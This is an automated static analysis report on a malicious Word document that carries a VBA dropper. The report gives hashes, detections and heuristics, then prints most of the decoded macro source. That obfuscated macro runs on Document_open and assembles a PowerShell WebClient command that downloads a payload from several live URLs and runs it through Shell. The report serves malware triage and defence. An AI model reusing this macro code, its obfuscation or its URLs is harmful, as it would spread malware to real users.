Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e3762fb1d43c1012…

MALICIOUS

Office (OLE)

145.0 KB Created: 2018-04-25 12:31:00 Authoring application: Microsoft Office Word First seen: 2018-05-08
MD5: 088d53fe8e02e9909d742d2c6467b3f6 SHA-1: d6282955166e7f54e0fe2f33cf7324783a835395 SHA-256: e3762fb1d43c10127912dc07f3fc489b67523098e6dcbeca6252c7b97252d7f5
152 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a Microsoft Office document containing a VBA macro. The macro utilizes the Shell() function, a critical heuristic indicating potential execution of external code. The embedded URL, http://triGC9+GC9nityprGC9+GC9oGC9+the embedded link/1jeI1/KAyGC9+GC9.SpliGC9+GC9YBu1, is highly suspicious and likely serves as a download source for a second-stage payload. The ClamAV detection 'Doc.Dropper.Agent-6517846-0' further confirms its malicious nature as a dropper.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6517964-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6517964-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    tjKBk = 94408 * BJfNu + 19913 * ChrB(13635 * Rnd(54285) - 5312 + aZwQi) - 51654 - Rnd(ZFvSbH) + 16043 - ipwRpw * 58326 * Chr(YiwRH)
    Shell lJrmRwTRALIMb + Chr(vbKeyC) + VuoBBWnWOEupu + BGaBXNMUKL + IvNYilJ, wTBmh + 0 + wTBmh
    jUlaoq = 23437 * RplIcW + 99334 * ChrB(19983 * Rnd(33835) - 15921 + ttjQzj) - 48985 - Rnd(AFsSa) + 97899 - uJPfl * 21920 * Chr(hvfZC)
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Sub
    Private Sub Document_open()
    On Error Resume Next
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://triGC9+GC9nityprGC9+GC9oGC9+GC9sound.com/1jeI1/KAyGC9+GC9.SpliGC9+GC9YBu1 In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 38164 bytes
SHA-256: 32ea05e5853c634fa09024fb753381d3988e2d0a3f39686301d77d3b46ba4d52
Detection
ClamAV: No threats found
Obfuscation or payload: likely
449 of 829 identifiers look randomly generated (e.g. 'CtwGlWopjavkqiEXHt'); 119 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "TLhmRtLsZKTd"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub uBWMcM(jIWXci)
YaFHc = 6527 * zrtns + 34257 * ChrB(24279 * Rnd(89155) - 80060 + ENmzJ) - 41860 - Rnd(iGzzT) + 90520 - WLHzO * 48687 * Chr(BVOwK)
End Sub
Sub YkuTpS(SOsKO)
rYVFR = 56925 * qRjKNj + 31380 * ChrB(95276 * Rnd(5282) - 83840 + Czsoz) - 22094 - Rnd(KBZkHT) + 93640 - JhifPw * 37268 * Chr(mHEkG)
CXQXT = 17058 * MDaKb + 13566 * ChrB(54909 * Rnd(43174) - 10494 + MNcWi) - 36144 - Rnd(bbilF) + 64258 - aYAwBU * 69675 * Chr(nWziD)
opqrh = 94940 * XdmTFt + 91648 * ChrB(84226 * Rnd(50253) - 56347 + VhjCG) - 56982 - Rnd(kZLZF) + 49642 - PBmlr * 87673 * Chr(kBDuO)
End Sub
Sub wboINt(IWmljN)
wXjzY = 24393 * qsIFi + 68674 * ChrB(66082 * Rnd(72648) - 61676 + IswXJl) - 5962 - Rnd(MjwsO) + 2180 - iWbMU * 10801 * Chr(BQGjf)
fJIWq = 12106 * rPznmd + 72707 * ChrB(22392 * Rnd(56429) - 35691 + dHDDNG) - 49069 - Rnd(amqhR) + 50856 - AjDbZ * 4675 * Chr(XKPXo)
End Sub
Private Sub Document_open()
On Error Resume Next
rTKYw = 18119 * YzbwB + 94496 * ChrB(59774 * Rnd(61232) - 83676 + iiMhc) - 10313 - Rnd(CtuUj) + 85765 - qSATGb * 35004 * Chr(HUjBEG)
HvWQKEKuKTwpCN (cXcjJ + TSNldAaI + obrOOC)
FOkoG = 76899 * jzLZQ + 67008 * ChrB(98815 * Rnd(51140) - 84337 + bABcQ) - 45316 - Rnd(DiGBqI) + 9932 - Zwdtks * 89509 * Chr(AqfLD)
End Sub
Sub biOkq(NAtoqs)
XhEsoG = 63453 * mVhHIh + 69993 * ChrB(1508 * Rnd(72010) - 72014 + onHYn) - 11902 - Rnd(SiYCo) + 4232 - HWjwzq * 10946 * Chr(ZoMjc)
FdzIDf = 6554 * QIRmXn + 4541 * ChrB(34889 * Rnd(70402) - 63747 + QBKBEn) - 90614 - Rnd(SOTMG) + 57549 - NBZtlW * 77437 * Chr(GaiLS)
UGDiB = 23278 * ubvUIZ + 70926 * ChrB(64973 * Rnd(93652) - 93026 + IoaAt) - 82514 - Rnd(IbqEba) + 54245 - owIPhE * 34277 * Chr(SZiYd)
End Sub
Sub DdJdSC(rTNMjt)
qqAUsf = 71884 * ZjOGqm + 15952 * ChrB(52444 * Rnd(28782) - 34942 + KYMuz) - 14248 - Rnd(wwfuD) + 96442 - hLbYJ * 61509 * Chr(MQDcPL)
End Sub
Sub sirwu(iLdwD)
ThoHf = 57256 * vJbjC + 10914 * ChrB(73433 * Rnd(38391) - 97644 + JRivN) - 11314 - Rnd(nvIjd) + 42139 - fVvMQX * 18892 * Chr(zwQCR)
ptIzj = 8002 * iVRFb + 51750 * ChrB(38017 * Rnd(69560) - 40846 + SntBhJ) - 48697 - Rnd(bzlSj) + 60053 - oLzCA * 67418 * Chr(RMAAiH)
End Sub

Attribute VB_Name = "wqndOzOXBIjjt"
Sub GiMlm(nPViVA)
VjAjf = 33868 * iHzoV + 64314 * ChrB(93445 * Rnd(33498) - 19098 + SRplLi) - 76990 - Rnd(rOBjU) + 10983 - NYtqA * 53053 * Chr(Ridwk)
End Sub
Function TSNldAaI()
On Error Resume Next
kdwZHV = 12728 * vCaOi + 89019 * ChrB(79414 * Rnd(6287) - 72377 + YCczB) - 61568 - Rnd(MdPJA) + 32016 - RZjZdk * 87067 * Chr(CYsrHp)
wIzFCtL = iItQud("%8XUmfGC9+GC9d.nexGC9+GC9t(GC9+GC91000GC9+GC90,'+' GC9+GC9282133GC9+GC9);GC9+GC9bGC9+GC97dADCGC9+GC9XG0Pz", ziwqb - ziwqb + 7 + ziwqb - ziwqb, ziwqb - ziwqb + 96 + ziwqb - ziwqb)
jbsPO = 74063 * IlbSU + 91566 * ChrB(84237 * Rnd(83500) - 83944 + mpwINP) - 49705 - Rnd(OiADH) + 19101 - PuznR * 70650 * Chr(wsRvw)
wkiAlz = 46810 * UjPYj + 58047 * ChrB(64540 * Rnd(36873) - 58610 + urULjf) - 95736 - Rnd(iifsf) + 59239 - ndEnzJ * 12072 * Chr(NLDRu)
zbwKtOpzi = iItQud("jIFdW+[ChaR]82+[ChaR]76),[sTriNG][ChaR]36).REPlAce(([ChaR]71+[ChaR]67+[ChaR]57),i,", QzCLh - QzCLh + 6 + QzCLh - QzCLh, QzCLh - QzCLh + 75 + QzCLh - QzCLh)
JAzkvj = 95834 * mBzCS + 36996 * ChrB(89094 * Rnd(78957) - 52495 + lcwAc) - 61065 - Rnd(XokGAf) + 25891 - qVdiI * 70374 * Chr(wZqDow)
hrFGq = 78663 * RMdQAs + 75608 * ChrB(92338 * Rnd(2043) - 28903 + riWPz) - 87038 - Rnd(pzhzDk) + 55727 - hMzDrH * 71260 * Chr(ZdKIUA)
fkYARL = iItQud("ELY0Z2GC9+GC'+'9bjGC9+GC9ecGC9+GC9tKAy)GC9+GC9 System.NeGC9+GC9t.GC9+GC9WebClieGC9+GC9nt;b7dNSBGC9+GC9 = b7GC9+GC9dnsGC9+GC9adaGC9+GC9s4UW", nLYjCj - nLYjCj + 7 + nLYjCj - nLYjCj, nLYjCj - nLYjCj + 129 + nLYjCj - nLYjCj)
SQWDz = 74379 * StLXBr + 5976 * ChrB(38188 * Rnd(17717) - 86036 + AKbwzX) - 99365 - Rnd(rzlnk) + 27582 - jOjhhf * 25339 * Chr(tDrUG)
Uwprzd = 22136 * YPBNT + 63517 * ChrB(42527 * Rnd(98273) - 73987 + IdYzM) - 7287 - Rnd(kNCrzZ) + 87213 - ooaYE * 24247 * Chr(cTrUK)
SNXffR = iItQud("Et@+'G'+'C9+GC9y+KAytKAy) GC9+GC9rGC9+GC9andom;GC9+GC9'+'b7d'+'YYU = .(GC9+GC9KGC9+GC9AynGC9+'+'GC9eG'+'C9+GC9K'+'AyGC9+GC9+KAyGC9+GC9wGC9+GC9KAy+GC9+GC9KGC9+GC9Ay-ohEd@Dn", jFURVU - jFURVU + 4 + jFURVU - jFURVU, jFURVU - jFURVU + 162 + jFURVU - jFURVU)
roXbG = 24905 * sTWll + 88556 * ChrB(26406 * Rnd(31614) - 17594 + ZpIBfs) - 91581 - Rnd(hHHAFG) + 84757 - vsZfPs * 24726 * Chr(TVRpmK)
OVwHC = 48516 * vKidr + 99843 * ChrB(8937 * Rnd(19146) - 25617 + dIiDQJ) - 94067 - Rnd(OaPqJ) + 77727 - ORVhjJ * 1132 * Chr(LQrSDT)
LZZYPw = iItQud("6PaqC9).rePLaCE(([cHAR]75+[cHAR]65+[cHAR]121),'+'[stRiNg][cHAR'+']39) )').REPlAce(([ChaR]104t@@", kTlRfC - kTlRfC + 5 + kTlRfC - kTlRfC, kTlRfC - kTlRfC + 88 + kTlRfC - kTlRfC)
WWpYLF = 85464 * wLzqnw + 89363 * ChrB(9046 * Rnd(2543) - 81388 + ciicjU) - 55506 - Rnd(XmYrt) + 95122 - DtAlc * 49049 * Chr(SXVhS)
iBMiT = 84768 * JOGYc + 43623 * ChrB(26339 * Rnd(82604) - 34310 + AGVNo) - 25001 - Rnd(jaDmTF) + 90983 - njXNw * 83853 * Chr(pjmOjl)
ZmwZGi = iItQud("uXC9+GC9 = KA'+'y GC9+GC9 http:/'+'/GC9+GC9'+'kGC9+K5D0", wQMqc - wQMqc + 3 + wQMqc - wQMqc, wQMqc - wQMqc + 49 + wQMqc - wQMqc)
wPYUk = 10294 * Qzqod + 4531 * ChrB(86388 * Rnd(78306) - 36044 + ILPpnp) - 56436 - Rnd(PFRpa) + 50011 - zHinNw * 39264 * Chr(wWlhYS)
roiSXm = 82946 * QjPRTY + 7189 * ChrB(22567 * Rnd(48037) - 11618 + zcDFu) - 43244 - Rnd(WVUjWw) + 25181 - NcVjt * 38685 * Chr(CfNjN)
JMrcI = iItQud("UtRVG'+'C9raftaGC9+GC9verkGC9+GC9.isGC9+GC9/sQN", BANwFV - BANwFV + 5 + BANwFV - BANwFV, BANwFV - BANwFV + 40 + BANwFV - BANwFV)
TrkjRc = 79047 * njkwa + 31071 * ChrB(41139 * Rnd(36394) - 69421 + TEwKb) - 81925 - Rnd(MvXaYr) + 26997 - RCdkA * 8612 * Chr(XOZsk)
CaisAi = 2074 * pRqpY + 70261 * ChrB(41459 * Rnd(63174) - 5617 + mwHoX) - 93307 - Rnd(OlWjIl) + 82413 - Cwzwuo * 57240 * Chr(tBVNfN)
PPsubv = iItQud("Rm6vGC9+GC9qinzGC9+GC9cGC'+'9+GC9/@http:/GC'0H", TDEjvD - TDEjvD + 5 + TDEjvD - TDEjvD, TDEjvD - TDEjvD + 40 + TDEjvD - TDEjvD)
wwpGUO = 35936 * Dmzlz + 58733 * ChrB(42977 * Rnd(63027) - 61633 + qVoYiI) - 61130 - Rnd(KOmBi) + 26347 - wYmTf * 42707 * Chr(jitLuC)
AmOEL = 95340 * EJXjqD + 2644 * ChrB(4481 * Rnd(63222) - 35581 + abSuC) - 49901 - Rnd(qZubhs) + 34166 - wuJdP * 71977 * Chr(GIBRwW)
GYviHKVwfGs = iItQud("fv,uUi+'9+GC9/leavell-photogGC9+GC9raphG'+'C9+'+'GC9y.GC9+GC9com/'+'.H", JWVpOo - JWVpOo + 7 + JWVpOo - JWVpOo, JWVpOo - JWVpOo + 62 + JWVpOo - JWVpOo)
DFiIo = 86263 * oFjoJU + 45971 * ChrB(4487 * Rnd(55219) - 53076 + RiFGsD) - 5964 - Rnd(oUJsl) + 51911 - TVpzZ * 7976 * Chr(KJpap)
dlJhoY = 83544 * opmap + 26531 * ChrB(47638 * Rnd(54831) - 89163 + GUftjI) - 23148 - Rnd(pSbjd) + 17324 - QiFqq * 42903 * Chr(YEqFa)
PXXkX = iItQud("szGC9+GC9KAGC9+GC9y+KGC9+G'+'C9Aye-GC9+GC9I'+'GC9+GC9temKAy)GC9+GC9(GC9+GC9b7dGC9+GC9SDGC9+GC9C);breaGC9+GC9k;}catGC9+GC9ch{GC9+GC9}}GC9).rePLaCE(GC9teWGC9,[stRiNg][cHAR]'+'96).rePLaCE(([cHARRKj12R", QOEja - QOEja + 3 + QOEja - QOEja, QOEja - QOEja + 189 + QOEja - QOEja)
WQoazL = 25210 * TjEAVO + 67737 * ChrB(47115 * Rnd(80841) - 10394 + dDZiT) - 72673 - Rnd(RqvaC) + 53476 - iDYiBj * 34277 * Chr(szzApU)
HBVOt = 47206 * NppmB + 72904 * ChrB(37389 * Rnd(60645) - 70464 + EUdnOV) - 49739 - Rnd(iokrz) + 38568 - iaJSAs * 18806 * Chr(DWVwt)
RUJdNYtT = iItQud("ZzNT]109+[cHAR]52+[cHAR]116)'+',[stRiNg][cHAR] 0.D@", fAOls - fAOls + 5 + fAOls - fAOls, fAOls - fAOls + 42 + fAOls - fAOls)
HPMUr = 64165 * Ejtjv + 24961 * ChrB(29620 * Rnd(68705) - 45062 + sVoSL) - 19479 - Rnd(knuAZ) + 33702 - WjlWZX * 44481 * Chr(mpdqQ)
onRpc = 23529 * iRpviz + 81882 * ChrB(8840 * Rnd(97140) - 79467 + SXzVj) - 98588 - Rnd(wjGOp) + 25146 - iMAQk * 71849 * Chr(nGNoS)
WrPiYiXSPTb = iItQud("wd92).rePLa'+'CE(GC9DRnGC9,[stRiNg][cHAR]34).rePLaCE(([cHAR]98+[cHA'+'R]55+[cHAR]100),GC9hRLGPWB1q", Efukjz - Efukjz + 3 + Efukjz - Efukjz, Efukjz - Efukjz + 91 + Efukjz - Efukjz)
jbNqnD = 48042 * NTTGSf + 58072 * ChrB(55739 * Rnd(57817) - 38628 + cWzlpn) - 27116 - Rnd(JiQkj) + 26591 - cWVPa * 73567 * Chr(rQshJS)
NctRQ = 49204 * wWdwhi + 76109 * ChrB(45547 * Rnd(72936) - 84235 + JQbvc) - 95964 - Rnd(uMHUko) + 63251 - CLAHO * 36174 * Chr(BWzLHv)
JuzPUOini = iItQud("JGC9+GC9.exKAy+KAyGC9+GC9eKAy)GC9+GC9;fGC9+GC9oreacGC9+GC9'+'h(GC9+GC9b7dasGC9+GC9fGC9+GC9cGC9+GC9 in GC9+GC9bN,Z7Yr", ZKctM - ZKctM + 2 + ZKctM - ZKctM, ZKctM - ZKctM + 109 + ZKctM - ZKctM)
OUQYlG = 35662 * RzvcWN + 69393 * ChrB(55072 * Rnd(73645) - 78938 + SfbXi) - 56220 - Rnd(ZPFzRq) + 88196 - zmDMD * 50082 * Chr(QuALlw)
iGFMow = 92669 * qAICJq + 11583 * ChrB(27774 * Rnd(94679) - 24445 + PpPucB) - 71394 - Rnd(DLMbF) + 99490 - CzVHPM * 64173 * Chr(ijjCH)
qwIiMmnu = iItQud("D5'GC9fGC9+GC9c.GC9+GC9DGC9+GC9RnTo'+'StrtGC9+GC9e'+'WiteGC9+GC9WNgGC9+GC9DRnGC9+GC9()GC9+GC9, bGC9+GC97dSDGC9B.U9", QtLWp - QtLWp + 3 + QtLWp - QtLWp, QtLWp - QtLWp + 108 + QtLWp - QtLWp)
ztKwji = 74999 * McKDj + 86515 * ChrB(38320 * Rnd(57759) - 47902 + CfnGs) - 79929 - Rnd(kiQkNw) + 96733 - XFRBfW * 32198 * Chr(nnswMc)
qinIw = 80504 * JLtUiL + 35088 * ChrB(82073 * Rnd(29903) - 7751 + iIKNz) - 95705 - Rnd(MaaQc) + 98590 - tVMsNT * 33094 * Chr(NBjwu)
poajluZG = iItQud("X[sTriNG][ChaR]39)| .( ([sTRIng]$VerbOSePrefeRENCe)[1,3]+'x'-joIn'')jM4U6s@", EAHiAc - EAHiAc + 2 + EAHiAc - EAHiAc, EAHiAc - EAHiAc + 67 + EAHiAc - EAHiAc)
NYiWrw = 59537 * Icjpn + 71251 * ChrB(28801 * Rnd(35043) - 85688 + tfpqFz) - 4119 - Rnd(wcvIiz) + 6420 - zCrukB * 17900 * Chr(NkMXjj)
GtWYNi = 77851 * kwRjn + 13991 * ChrB(69488 * Rnd(49921) - 42034 + wMQuni) - 70679 - Rnd(BmiUbm) + 60465 - twhHA * 77598 * Chr(vAAhc)
MmArj = iItQud("E7dADCX)'+'{try{b'+'7'+'dYYG'+'C9+GC9U.DGC9+'+'GC9RnGC9+GC9DoteWWGC9+GC9nlGC9+GC9teWGC9+GC9OadFItGC9+GC9eWGC9+GC9leGC9+GC9DGC9+GC9RnGC9+GC9(bGC9+GC97dasGC9+'+BOUBiH4", vJBEOq - vJBEOq + 2 + vJBEOq - vJBEOq, vJBEOq - vJBEOq + 157 + vJBEOq - vJBEOq)
MouUXw = 5902 * MFonO + 54036 * ChrB(4346 * Rnd(83060) - 30101 + fBaOn) - 86385 - Rnd(sHAUt) + 74580 - HKpzn * 99844 * Chr(ncsjq)
suzoT = 49982 * EYVkOm + 85571 * ChrB(73912 * Rnd(58604) - 32133 + tkfzBM) - 18575 - Rnd(LOpZf) + 96844 - wWQCqz * 56374 * Chr(IAZcU)
jwXOzWVfkD = iItQud("%EU, (' .'+'((GeT-VarIABle GC9*mDr*GC9).nAME[3,11,2]-JOinGC9GC9) ((GC9b'+'7GC9+GC9dnsaG'+'C9+GC9'+'dGC9+GC9aGC9+GC9sd = &(KAynKAy+GC9+GC9KAyeKAyGC9+GC9+KAyw-objGC9+GC9ecKA'wXfL@", UlMKEl - UlMKEl + 5 + UlMKEl - UlMKEl, UlMKEl - UlMKEl + 168 + UlMKEl - UlMKEl)
TEUqT = 25814 * rssnfQ + 28025 * ChrB(62779 * Rnd(28657) - 97756 + linVWc) - 49468 - Rnd(QdWzcj) + 78553 - rKViLk * 6731 * Chr(iXOLh)
sHrCsz = 18563 * cMoCj + 82299 * ChrB(78885 * Rnd(86277) - 95847 + ZtBwp) - 67407 - Rnd(dGQJjn) + 88102 - oLwrcK * 92603 * Chr(wNjiJI)
wwlwqFrSjw = iItQud("ts1BLicGC9+GC9 + KGC9+GC'+'9AymGC9+GC94tKAy + bGC9+'+'GC97dG'+'C9+GC9NSBGC9+GC9 + (GC9+GC9KAyfLLI", ZtBjq - ZtBjq + 6 + ZtBjq - ZtBjq, ZtBjq - ZtBjq + 88 + ZtBjq - ZtBjq)
nASjkT = 47185 * RIDOst + 81136 * ChrB(87517 * Rnd(47246) - 90418 + ufqBV) - 7039 - Rnd(HDiGAp) + 41611 - dJQEI * 17460 * Chr(PjjYw)
kTjOor = 72717 * JoTWF + 20212 * ChrB(76548 * Rnd(49662) - 66521 + aSzTAT) - 5962 - Rnd(iDSQr) + 6328 - tQzwpz * 82792 * Chr(TYIHc)
TUzKG = iItQud("AIH+GC9C'+');&(KGC9+GC9AyIn'+'vGC9+GC9oKGC9+GC9Ay'+'+KAyGC9+GC9kjhB", rIUKn - rIUKn + 4 + rIUKn - rIUKn, rIUKn - rIUKn + 61 + rIUKn - rIUKn)
lTKRp = 94455 * wRTQLi + 24239 * ChrB(65206 * Rnd(73318) - 85894 + PoLtob) - 86370 - Rnd(jDfvrM) + 51819 - skHzBG * 82503 * Chr(zfiiOi)
FNTFu = 75756 * dPmwNC + 71099 * ChrB(63166 * Rnd(31893) - 93302 + nNXIvw) - 71196 - Rnd(swTiRv) + 1034 - PdqGMc * 45919 * Chr(fwwcQG)
UqDCShvYi = iItQud("ML4Uhi,CGC9+GC95gX/@h'+'tGC9+GC9tp:GC9+GC'+'9/GC9+GC9/GC9+GC9nanobraGC9+GC9inGC9+GC9.co.kGC9+GC9r'+'/548UeGC9+GC989/GC9'+'+GC9'+'@htG'+'C9+GC9tGC9+GC9pGC9+GC9://bjo'+'erGC9+GC9sGi7", hfLrnw - hfLrnw + 8 + hfLrnw - hfLrnw, hfLrnw - hfLrnw + 171 + hfLrnw - hfLrnw)
CpfGV = 86334 * RVUDuw + 19539 * ChrB(71923 * Rnd(41570) - 6426 + VVDaq) - 46819 - Rnd(pvdzz) + 16122 - mWRolo * 59633 * Chr(TLUlJh)
qCzHfh = 7472 * DmiZL + 35701 * ChrB(36053 * Rnd(42641) - 37995 + laiWQw) - 65174 - Rnd(lSVWp) + 70926 - zXjiO * 27983 * Chr(OwQwL)
PDHRnlwX = iItQud("j0C9+GC9leGC9+GC9vGC9+GC9.dkGC9+'+'G'+'C9/fGC9+GC9LtH/@GC9+GC9http://triGC9+GC9nityprGC9+GC9oGC9+GC9sound.com/1jeI1/KAyGC9+GC9.SpliGC9+GC9YBu1", StauP - StauP + 3 + StauP - StauP, StauP - StauP + 136 + StauP - StauP)
HdoFjM = 38053 * ATlAZa + 93481 * ChrB(72813 * Rnd(96184) - 63637 + zPNumr) - 9511 - Rnd(bLlGUn) + 81850 - HdPndR * 27234 * Chr(EvdpoN)
MwIjo = 27380 * jnqoa + 64846 * ChrB(31420 * Rnd(2889) - 89757 + tcHzh) - 53450 - Rnd(mJniFL) + 51565 - vrwBG * 12809 * Chr(nEKIzf)
wrbcqfiRWI = iItQud("Kt(GC9+GC9KAy@KAGC9+GC9y);GC9+GC9b7'+'dSDC =GC9+GC9 GC9+GC9b7denv:'+'publGC9+GC92piF5", wjzObt - wjzObt + 2 + wjzObt - wjzObt, wjzObt - wjzObt + 79 + wjzObt - wjzObt)
hQjpKN = 89629 * AfWVu + 59494 * ChrB(51127 * Rnd(78694) - 51770 + PkiqSA) - 78136 - Rnd(DpDpY) + 57917 - obXBQ * 1893 * Chr(IWqSi)
FuJwosBToBiFzt = MLMPjjhuTrwj + """" + HKFWLGs
TSNldAaI = YOcHqMwTRn + FDDnKaCcI + LjfaWMFvHkT + FuJwosBToBiFzt + zVErrdoGswLVkY + jwXOzWVfkD + SNXffR + fkYARL + wIzFCtL + ZmwZGi + JMrcI + PPsubv + GYviHKVwfGs + UqDCShvYi + PDHRnlwX + wrbcqfiRWI + wwlwqFrSjw + JuzPUOini + MmArj + qwIiMmnu + TUzKG + PXXkX + RUJdNYtT + WrPiYiXSPTb + LZZYPw + zbwKtOpzi + poajluZG
PtCDz = 60540 * mUHIJ + 54303 * ChrB(47368 * Rnd(11601) - 59608 + KrzKw) - 30874 - Rnd(ciEOv) + 6221 - TiRvhA * 47412 * Chr(Umijk)
End Function
Sub PFwVF(PDLnKC)
SoDNz = 75995 * fIIDaI + 26515 * ChrB(28799 * Rnd(99319) - 20328 + MtPwm) - 33040 - Rnd(bnqEBl) + 67431 - oJPNQf * 21638 * Chr(sHwtuw)
End Sub

Attribute VB_Name = "zBaGXUmUEz"
Sub tcBBXqpXliUq()
On Error Resume Next
AFlfr = 80406 * biJLq + 34719 * ChrB(2635 * Rnd(47927) - 49224 + cOASH) - 7194 - Rnd(HZcMOw) + 84559 - LaGSiH * 54955 * Chr(lJKTp)
End Sub
Sub HvWQKEKuKTwpCN(VuoBBWnWOEupu As String)
On Error Resume Next
FpQzc = 4592 * phsBo + 45687 * ChrB(35297 * Rnd(25224) - 2544 + mRjir) - 90870 - Rnd(qAzzO) + 16811 - kGwUnv * 32737 * Chr(pYWsN)
tjKBk = 94408 * BJfNu + 19913 * ChrB(13635 * Rnd(54285) - 5312 + aZwQi) - 51654 - Rnd(ZFvSbH) + 16043 - ipwRpw * 58326 * Chr(YiwRH)
Shell lJrmRwTRALIMb + Chr(vbKeyC) + VuoBBWnWOEupu + BGaBXNMUKL + IvNYilJ, wTBmh + 0 + wTBmh
jUlaoq = 23437 * RplIcW + 99334 * ChrB(19983 * Rnd(33835) - 15921 + ttjQzj) - 48985 - Rnd(AFsSa) + 97899 - uJPfl * 21920 * Chr(hvfZC)
End Sub
Function LjfaWMFvHkT()
On Error Resume Next
jZUBw = 73593 * REMuwA + 33177 * ChrB(29652 * Rnd(60854) - 87472 + VOJrVm) - 89014 - Rnd(BmLPuA) + 72427 - QBIppd * 6375 * Chr(LWYKds)
wIzFCtL = iItQud("%8XUmfTSNl0Pz", NHbXv - NHbXv + 7 + NHbXv - NHbXv, NHbXv - NHbXv + 4 + NHbXv - NHbXv)
QnfAvH = 78594 * iGXkL + 11002 * ChrB(79988 * Rnd(35147) - 88182 + LBNXD) - 94845 - Rnd(LNjwOk) + 94400 - pubOz * 80786 * Chr(bzZiRs)
tJoiw = 84380 * tzNqz + 74690 * ChrB(14138 * Rnd(57783) - 57222 + qRUiUc) - 90793 - Rnd(FWldi) + 16368 - KvBEOa * 32749 * Chr(vQlWFL)
zbwKtOpzi = iItQud("jIFdWet %i,", qVEiwS - qVEiwS + 6 + qVEiwS - qVEiwS, qVEiwS - qVEiwS + 4 + qVEiwS - qVEiwS)
BrtUbY = 72964 * ZhsdtU + 32489 * ChrB(30479 * Rnd(33558) - 9553 + orFZPH) - 48060 - Rnd(ZRiGpu) + 53229 - tkNha * 47948 * Chr(cWVzX)
CBrHaz = 94069 * ouwvf + 30222 * ChrB(76548 * Rnd(16071) - 23996 + Aijwb) - 20384 - Rnd(qBclM) + 94596 - ATEza * 15069 * Chr(EDobL)
fkYARL = iItQud("ELY0Z2set %nzzobJsLIW4UW", iATRN - iATRN + 7 + iATRN - iATRN, iATRN - iATRN + 15 + iATRN - iATRN)
rwwoQi = 5546 * NwGZh + 97298 * ChrB(69531 * Rnd(91452) - 39923 + czjuML) - 76876 - Rnd(ELwbrU) + 30530 - RuFnUd * 89056 * Chr(mWwZt)
vbzAM = 14504 * zwvSB + 42506 * ChrB(83402 * Rnd(83649) - 37821 + SjOuzs) - 32606 - Rnd(tFwvHk) + 33212 - vFRBK * 18890 * Chr(XZowPE)
SNXffR = iItQud("Et@set %dpRtzbdTPplzhEd@Dn", ZIiGz - ZIiGz + 4 + ZIiGz - ZIiGz, ZIiGz - ZIiGz + 17 + ZIiGz - ZIiGz)
CczRqi = 33281 * wjiDTB + 48964 * ChrB(7224 * Rnd(82447) - 20515 + zalZR) - 63179 - Rnd(zrVKt) + 2415 - zDVwqt * 74701 * Chr(TJiTGq)
FGwtDw = 21045 * vnzjQj + 76692 * ChrB(82568 * Rnd(38484) - 93399 + lvwzj) - 14878 - Rnd(JtXjUJ) + 58844 - RswSl * 24508 * Chr(jTXjV)
LZZYPw = iItQud("6PaqldAaI%!&&set %VuoBBt@@", zVznOG - zVznOG + 5 + zVznOG - zVznOG, zVznOG - zVznOG + 19 + zVznOG - zVznOG)
AFhTQ = 55803 * AIJSl + 7378 * ChrB(78641 * Rnd(34168) - 13125 + SqFOR) - 90863 - Rnd(BKvOPd) + 49970 - lrJnpP * 8704 * Chr(iBJjij)
OwOLi = 94182 * LEoHij + 64301 * ChrB(19228 * Rnd(57516) - 54790 + QAdfAX) - 76148 - Rnd(UTmCC) + 12471 - YtNcUH * 68835 * Chr(nTJUfs)
ZmwZGi = iItQud("uXaPj%=ll&&!%ZGYUYK5D0", XEZHFq - XEZHFq + 3 + XEZHFq - XEZHFq, XEZHFq - XEZHFq + 16 + XEZHFq - XEZHFq)
zkjww = 7026 * jzrYQ + 54353 * ChrB(20387 * Rnd(48626) - 3111 + BrKnwB) - 14472 - Rnd(jFqLr) + 5978 - YGUBV * 6531 * Chr(kAKPl)
FBUqqY = 36091 * jnalIf + 18829 * ChrB(71087 * Rnd(35661) - 67356 + AhlzIO) - 18580 - Rnd(tjwwU) + 73497 - jYNiH * 95524 * Chr(kIEDT)
JMrcI = iItQud("UtRVmHsjC&&sQN", qHkORX - qHkORX + 5 + qHkORX - qHkORX, qHkORX - qHkORX + 7 + qHkORX - qHkORX)
GuMiG = 58034 * CUCMb + 62407 * ChrB(1514 * Rnd(49025) - 89934 + qFzHwl) - 45963 - Rnd(bzAwdu) + 9691 - oRzWOq * 82131 * Chr(wOVAGa)
kpJoEn = 31314 * BiESn + 49111 * ChrB(77345 * Rnd(22400) - 38243 + XVfzR) - 90724 - Rnd(izsons) + 35641 - kPcnZ * 59222 * Chr(pSrmP)
PPsubv = iItQud("Rm6vhBkNj0H", aqVNzU - aqVNzU + 5 + aqVNzU - aqVNzU, aqVNzU - aqVNzU + 5 + aqVNzU - aqVNzU)
sFLXG = 55108 * uwnYNF + 50389 * ChrB(78022 * Rnd(46687) - 40210 + lmzCJ) - 22683 - Rnd(usIjN) + 11727 - fXmujR * 62294 * Chr(jXocD)
vMlNpu = 34177 * lwIpX + 3652 * ChrB(83460 * Rnd(42361) - 68884 + ZbVknS) - 69044 - Rnd(PLkssJ) + 30291 - kMIjq * 63937 * Chr(Rdtsu)
